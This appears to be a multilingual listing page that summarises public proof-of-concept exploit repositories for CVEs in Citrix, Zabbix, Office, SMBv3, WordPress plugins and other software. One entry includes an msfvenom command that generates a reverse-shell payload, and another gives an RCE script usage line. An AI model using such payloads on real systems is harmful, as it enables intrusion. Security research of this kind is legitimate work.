CVE-2023-4596

CVE-2023-4596 PoC-Skript für CVE-2023-4596, nicht authentifizierte Remote-Befehlsausführung durch beliebige Datei-Uploads. Video des verwendeten PoC Nuclei-Vorlage Nachrichtenartikel WordFence NVD Nist Zusammenfassung Im WordPress-Plugin Forminator wurde eine kritische Schwachstelle entdeckt, die...

CVE-2022-24434_POC

CVE-2022-24434 – PoC para Dicer Este repositório contém uma Prova de Conceito PoC para CVE-2022-24434 , uma vulnerabilidade que afeta o pacote npm Dicer. Versão alvo da PoC: 0.3.1 garanta que o código do dicer usado seja exatamente a v0.3.1 📂 Estrutura do Projeto Garanta que o diretório esteja...

lgosp-poc

LG On Screen Phone Authentication-Bypass-PoC Was ist LG On Screen Phone? Die LG-On-Screen-Phone-Anwendung OSP macht es einfach, auf LG-Android-Smartphones zuzugreifen und sie über einen PC zu steuern. Die Verbindung kann entweder über ein USB-Kabel oder drahtlos über Wi-Fi oder Bluetooth...

CVE-2026-0911

CVE-2026-0911 — Hustle-Modulimport PoC Ein Forschungs-/Pentest-Hilfstool für das WordPress-Plugin Hustle wordpress-popup, WPMU DEV, das das Upload-Verhalten über den authentifizierten Modulimport -Endpunkt im Rahmen von CVE-2026-0911 testet. Das Skript CVE-2026-0911.py in diesem Repository bzw...

CVE-2020-0796

CVE-2020-0796 Explication de CVE-2020-0796 et recherche de la vulnérabilité pour le projet de semestre CENG325 pour débutants Comment exploiter ? Génération de payload utilisateur pour reverse shell : msfvenom -a x64 --platform windows -p windows/x64/shellreversetcp LHOST= LPORT=5555 -f python po...

cve-2024-56800-poc

cve-2024-56800 POC Référence https://nvd.nist.gov/vuln/detail/CVE-2024-56800 https://github.com/firecrawl/firecrawl/commit/4d1f92f4c8c36403022428285a03621fd90d62ec https://github.com/firecrawl/firecrawl/security/advisories/GHSA-vjp8-2wgg-p734 Vulnérabilité Firecrawl est un scraper web qui permet...

CVE-2026-12191

CVE-2026-12191 Ein Proof-of-Concept-Exploit für CVE-2026-12191, eine unsichere Deserialisierungsschwachstelle in modeld.py von Comma AI Openpilot, die es einem lokalen Angreifer mit niedrigen Privilegien ermöglicht, beliebigen Code auszuführen, indem er einen manipulierten, bösartigen...

CVE-2026-49176_BOF

CVE-2026-49176 Cobalt Strike BOF Cobalt Strike Beacon Object File BOF für lokale Privilegienerweiterung über Windows WalletService CVE-2026-49176 , behoben im Juli 2026. Aus einem Beacon mit mittlerer Integrität Standardbenutzer staged dieses Tool eine manipulierte Wallet-ESE-Datenbank, leitet...

CVE-2024-42327

PoC für CVE-2024-42327 / ZBX-25623 Ein nicht-administrativer Benutzeraccount im Zabbix-Frontend mit der Standard-Benutzerrolle oder einer anderen Rolle, die API-Zugriff gewährt, kann diese Schwachstelle ausnutzen. Eine SQLi existiert in der CUser-Klasse in der Funktion addRelatedObjects. Diese...

CVE-2025-55182-Proof-of-Concept

CVE-2025-55182 개념 증명PoC 이 저장소는 특정 서버 사이드 렌더링 구현에서 원격 코드 실행RCE으로 이어지는 프로토타입 오염Prototype Pollution 취약점인 CVE-2025-55182 에 대한 개념 증명PoC을 포함합니다. ⚠️ 경고: 이 PoC는 교육, 연구 및 개인 또는 통제된 환경에서의 승인된 보안 테스트 목적으로만 엄격히 사용해야 합니다. 허가 없이 시스템에 무단으로 사용하는 것은 불법입니다. 취약점 개요 이 취약점은 검증되지 않은 사용자 입력이 내부 JavaScript 객체 구조에 주입될 때...

Research

Forschung Zero-Day- und Exploit-Code einiger Anwendungen...

CVE-2024-4885

CVE-2024-4885 PoC für CVE-2024-4885 Progress WhatsUp Gold GetFileWithoutZip Unauthentifizierte Remote-Codeausführung CVE-2024-4885 Technische Analyse Eine Root-Cause-Analyse der Schwachstelle finden Sie auf meinem Blog: https://summoning.team/blog/progress-whatsup-gold-rce-cve-2024-4885/ Verwendu...

OpenSSL-1_0_1g_CVE-2015-3194

OpenSSL 1.0.1g 7 avr. 2014 Copyright c 1998-2011 The OpenSSL Project Copyright c 1995-1998 Eric A. Young, Tim J. Hudson All rights reserved. DESCRIPTION Le projet OpenSSL est un effort collaboratif visant à développer une boîte à outils robuste, de qualité commerciale, complète et open source...

POC-CVE-2025-1094

POC CVE-2025-1094: PostgreSQL psql SQL Injection Proof of Concept pour la vulnérabilité d'injection SQL critique dans le client PostgreSQL libpq et l'outil psql 📋 Table des matières 1. Introduction à la vulnérabilité 2. Structure du répertoire du projet 3. Analyse du payload d'attaque 4. Guide...

CVE-2023-29489

CVE-2023-29489 La vulnérabilité de sécurité est enregistrée dans le système Common Vulnerabilities and Exposures CVE. Plus précisément, cette vulnérabilité concerne cPanel, un logiciel populaire de gestion d'hébergement. Cette faille permet des attaques de cross-site scripting XSS via des requête...

CVE-2025-13780

CVE-2025-13780 : Scanner RCE pour pgAdmin 4 = 8.14 Un scanner de vulnérabilités complet pour CVE-2025-13780 , une vulnérabilité d'exécution de code à distance RCE dans pgAdmin 4 versions ≤ 8.14. 🔍 Détails de la vulnérabilité La vulnérabilité se trouve dans la fonctionnalité Restore de pgAdmin 4...

CVE-2023-50164-Apache-Struts-RCE

Contient un fichier WAR vulnérable et un fichier docker pouvant être utilisés pour tester CVE-2023-50164-Apache-Struts-RCE. Ce dockerfile et l'application vulnérable sont compilés et conçus en utilisant les ressources et le code de https://github.com/jakabakos/CVE-2023-50164-Apache-Struts-RCE...

CVE-2025-21298

CVE-2025-21298 contenu Ceci est une preuve de concept pour CVE-2025-21298 - Vulnérabilité d'exécution de code à distance OLE Windows CVSS 9.8. Il s'agit d'un PoC de corruption mémoire , pas d'un exploit. vulnérabilité La vulnérabilité se situe dans ole32.dll!UtOlePresStmToContentsStm. Le but de l...

CVE-2017-0199-v5.0

Exploit toolkit CVE-2017-0199 - v5.0 Exploit toolkit CVE-2017-0199 - v5.0 est un script Python pratique qui offre aux pentesters et aux chercheurs en sécurité un moyen rapide et efficace de tester l'exécution de code à distance RCE de Microsoft Office. Il peut générer un fichier RTF/PPSX...

CVE-2019-19781

Remote Code Execution Exploit CVE-2019-19781- Citrix Application Delivery Controller & Gateway Exploit d'exécution de code à distance pour Citrix Application Delivery Controller et Citrix Gateway CVE-2019-19781 Utilisation : bash CVE-2019-19781.sh IPOFVULNURABLEHOST COMMANDTOEXECUTE ex. : bash...